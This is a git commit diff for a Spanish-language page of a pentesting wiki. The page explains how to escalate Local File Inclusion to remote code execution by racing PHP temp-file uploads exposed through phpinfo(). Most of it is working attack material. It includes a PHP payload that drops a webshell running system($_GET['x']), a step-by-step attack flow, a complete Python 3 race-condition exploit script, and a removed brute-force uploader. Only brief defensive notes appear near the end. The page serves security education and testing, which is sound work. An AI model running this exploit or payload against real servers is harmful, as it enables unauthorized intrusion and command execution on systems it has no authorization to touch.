mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
parent
017d44e64b
commit
c9db0e75a0
@ -1,55 +1,160 @@
|
||||
# LFI to RCE via PHPInfo
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una página donde se muestre phpinfo(), "file_uploads = on" y el servidor debe poder escribir en el directorio "/tmp".**
|
||||
Para explotar esta técnica necesitas todo lo siguiente:
|
||||
- Una página accesible que muestre la salida de phpinfo().
|
||||
- Una Local File Inclusion (LFI) primitiva que controles (p. ej., include/require sobre entrada del usuario).
|
||||
- Subidas de archivos en PHP habilitadas (file_uploads = On). Cualquier script PHP aceptará uploads multipart de RFC1867 y creará un archivo temporal por cada parte subida.
|
||||
- El proceso PHP debe poder escribir en upload_tmp_dir configurado (o en el directorio temporal del sistema por defecto) y tu LFI debe poder incluir esa ruta.
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
Documentación clásica y PoC original:
|
||||
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||
|
||||
Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
|
||||
Notas sobre el PoC original
|
||||
- La salida de phpinfo() está codificada en HTML, por lo que la flecha "=>" a menudo aparece como "=>". Si reutilizas scripts antiguos, asegúrate de que busquen ambas codificaciones al parsear el valor _FILES[tmp_name].
|
||||
- Debes adaptar el payload (tu código PHP), REQ1 (la request al endpoint phpinfo() incluyendo padding), y LFIREQ (la request a tu LFI sink). Algunos objetivos no necesitan un terminador null-byte (%00) y las versiones modernas de PHP no lo respetan. Ajusta LFIREQ según el sink vulnerable.
|
||||
|
||||
Ejemplo sed (solo si realmente usas el PoC antiguo en Python2) para coincidir con la flecha codificada en HTML:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||
```
|
||||
Tienes que cambiar también el **payload** al principio del exploit (por ejemplo, para un php-rev-shell), el **REQ1** (esto debería apuntar a la página de phpinfo y debería tener el padding incluido, es decir: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), y **LFIREQ** (esto debería apuntar a la vulnerabilidad LFI, es decir: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifica el doble "%" al explotar el carácter nulo)
|
||||
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teoría
|
||||
## Teoría
|
||||
|
||||
Si se permiten cargas en PHP y intentas subir un archivo, este archivo se almacena en un directorio temporal hasta que el servidor ha terminado de procesar la solicitud, luego este archivo temporal se elimina.
|
||||
- Cuando PHP recibe un POST multipart/form-data con un campo de archivo, escribe el contenido en un archivo temporal (upload_tmp_dir o el valor por defecto del sistema operativo) y expone la ruta en $_FILES['<field>']['tmp_name']. El archivo se elimina automáticamente al final de la petición a menos que se mueva/renombre.
|
||||
- El truco es averiguar el nombre temporal e incluirlo mediante tu LFI antes de que PHP lo limpie. phpinfo() imprime $_FILES, incluyendo tmp_name.
|
||||
- Al inflar los headers/parámetros de la petición (padding) puedes provocar que fragmentos tempranos de la salida de phpinfo() se vacíen al cliente antes de que la petición termine, de modo que puedas leer tmp_name mientras el archivo temporal todavía existe y, acto seguido, invocar el LFI con esa ruta.
|
||||
|
||||
Entonces, si has encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
|
||||
En Windows los archivos temporales suelen estar bajo algo como C:\\Windows\\Temp\\php*.tmp. En Linux/Unix normalmente están en /tmp o en el directorio configurado en upload_tmp_dir.
|
||||
|
||||
En **Windows**, los archivos suelen almacenarse en **C:\Windows\temp\php**
|
||||
## Flujo de ataque (paso a paso)
|
||||
|
||||
En **linux**, el nombre del archivo suele ser **aleatorio** y se encuentra en **/tmp**. Como el nombre es aleatorio, es necesario **extraer de algún lugar el nombre del archivo temporal** y acceder a él antes de que se elimine. Esto se puede hacer leyendo el valor de la **variable $\_FILES** dentro del contenido de la función "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Luego, el cliente puede **enviar** **muchas solicitudes grandes** (usando encabezados grandes) **subiendo un php** reverse **shell**, esperar a que se **devuelva la primera parte de phpinfo()** (donde está el nombre del archivo temporal) y tratar de **acceder al archivo temporal** antes de que el servidor php elimine el archivo explotando una vulnerabilidad LFI.
|
||||
|
||||
**Script de Python para intentar forzar el nombre (si la longitud = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
1) Prepara un payload PHP pequeño que persista una shell rápidamente para evitar perder la carrera (escribir un archivo suele ser más rápido que esperar a un reverse shell):
|
||||
```
|
||||
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||
```
|
||||
2) Envía un POST multipart grande directamente a la página phpinfo() para que cree un archivo temporal que contenga tu payload. Infla varios headers/cookies/params con ~5–10KB de padding para fomentar una salida temprana. Asegúrate de que el nombre del campo del formulario coincida con lo que vas a parsear en $_FILES.
|
||||
|
||||
3) Mientras la respuesta de phpinfo() aún se está transmitiendo, parsea el cuerpo parcial para extraer $_FILES['<field>']['tmp_name'] (codificado en HTML). En cuanto tengas la ruta absoluta completa (p. ej., /tmp/php3Fz9aB), dispara tu LFI para incluir esa ruta. Si include() ejecuta el archivo temporal antes de que se elimine, tu payload se ejecuta y deja /tmp/.p.php.
|
||||
|
||||
4) Usa el archivo creado: GET /vuln.php?include=/tmp/.p.php&x=id (o dondequiera que tu LFI permita incluirlo) para ejecutar comandos de forma fiable.
|
||||
|
||||
> Tips
|
||||
> - Usa múltiples workers concurrentes para aumentar tus posibilidades de ganar la carrera.
|
||||
> - Ubicaciones de padding que suelen ayudar: parámetro URL, Cookie, User-Agent, Accept-Language, Pragma. Ajusta según el objetivo.
|
||||
> - Si el sink vulnerable añade una extensión (p. ej., .php), no necesitas un null byte; include() ejecutará PHP independientemente de la extensión del archivo temporal.
|
||||
|
||||
## PoC mínimo de Python 3 (basado en sockets)
|
||||
|
||||
El fragmento a continuación se centra en las partes críticas y es más fácil de adaptar que el script legacy en Python2. Personaliza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import re, html, socket, threading
|
||||
|
||||
HOST = 'target.local'
|
||||
PORT = 80
|
||||
PHPSCRIPT = '/phpinfo.php'
|
||||
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||
THREADS = 10
|
||||
|
||||
PAYLOAD = (
|
||||
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||
)
|
||||
BOUND = '---------------------------7dbff1ded0714'
|
||||
PADDING = 'A' * 6000
|
||||
REQ1_DATA = (f"{BOUND}\r\n"
|
||||
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||
|
||||
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||
|
||||
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||
|
||||
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||
|
||||
|
||||
def race_once():
|
||||
s1 = socket.socket()
|
||||
s2 = socket.socket()
|
||||
s1.connect((HOST, PORT))
|
||||
s2.connect((HOST, PORT))
|
||||
s1.sendall(REQ1.encode())
|
||||
buf = b''
|
||||
tmp = None
|
||||
while True:
|
||||
chunk = s1.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
buf += chunk
|
||||
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||
if m:
|
||||
tmp = m.group(1)
|
||||
break
|
||||
ok = False
|
||||
if tmp:
|
||||
req = (LFI % tmp).encode() % HOST.encode()
|
||||
s2.sendall(req)
|
||||
r = s2.recv(4096)
|
||||
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||
s1.close(); s2.close()
|
||||
return ok
|
||||
|
||||
if __name__ == '__main__':
|
||||
hit = False
|
||||
def worker():
|
||||
nonlocal_hit = False
|
||||
while not hit and not nonlocal_hit:
|
||||
nonlocal_hit = race_once()
|
||||
if nonlocal_hit:
|
||||
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||
exit(0)
|
||||
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||
[t.start() for t in ts]
|
||||
[t.join() for t in ts]
|
||||
```
|
||||
## Solución de problemas
|
||||
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
|
||||
- La salida no se envía temprano: aumenta el padding, añade más encabezados grandes, o envía múltiples solicitudes concurrentes. Algunos SAPI/buffers no vacían hasta umbrales mayores; ajústalos en consecuencia.
|
||||
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
|
||||
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
|
||||
|
||||
## Notas defensivas
|
||||
- Nunca expongas phpinfo() en producción. Si es necesario, restringe por IP/autenticación y elimínalo después de usarlo.
|
||||
- Mantén file_uploads deshabilitado si no es necesario. De lo contrario, restringe upload_tmp_dir a una ruta que no sea alcanzable por include() en la aplicación y aplica validación estricta en cualquier ruta de include/require.
|
||||
- Trata cualquier LFI como crítico; incluso sin phpinfo(), existen otras rutas de LFI→RCE.
|
||||
|
||||
## Técnicas relacionadas de HackTricks
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referencias
|
||||
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user